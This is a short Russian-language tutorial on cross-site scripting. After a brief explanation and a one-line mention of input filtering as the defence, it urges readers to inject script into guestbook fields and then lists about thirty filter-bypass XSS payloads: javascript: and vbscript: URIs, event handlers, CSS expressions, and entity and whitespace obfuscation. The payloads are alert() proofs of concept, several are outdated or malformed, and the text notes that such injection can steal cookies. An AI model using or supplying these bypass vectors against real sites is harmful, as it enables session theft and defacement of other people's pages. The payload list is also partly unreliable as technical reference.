Межсайтовый скрипинг (Cross Site Scripting - XSS) позволяет злоумышленнику включать свой HTML код в вашу станицу. Наиболее уязвимы для такого вида атак являются гостевые книги и форумы, где происходит динамическое формирование страниц. Возможности кода, который злоумышленник может вставить в код сайта практически не ограничены, например, вставка тега <img> со ссылкой на скрипт, который расположен на подконтрольном сайте позволяет собирать различную информации (например, cookie). Суть атаки выйти за пределы HTML тега, через специальные символы, и далее внедрять свой код. Выход из тега чаще происходит с использованием следующих символов ' (одинарная кавычка), " (двойная кавычка), ´ (обратная кавычка), > (знак "больше"). Защита от этого вида атак сводится к фильтрованию данных отосланных пользователем. Как это делают? Давайте посмотрим на примере гостевых. В гостевых есть обычно несколько полей, куда можно ввести какие нибудь данные (имя ник/мыло/пол). Можно попробовать ввести в эти поля какой нить Ява-скрипт допустим введите во все поля такое: <script>alert('Админ мешок!')</script> и если в данной гостевой нету фильтра на спец символы (/<>) то при заходе в эту гостевую будет выскакивать окно с надписью Админ мешок! Но чаще всего существует фильтр на эти символы тогда можно воспользоваться по другому <img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:alert(/ok/)> <img src=javascript:alert("ok")> <img src=javascript:alert('ok')> <img src=javascript:a&# 108er t(& #39ok')> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href) <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз) <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE) <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке) <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке) <img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=#106#97#118#97#115#99#114#105#112#116:alert()> <img src=javascript#9:alert()> <img src=javascript#10:alert()> <img src=javascript#13:alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java script:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки)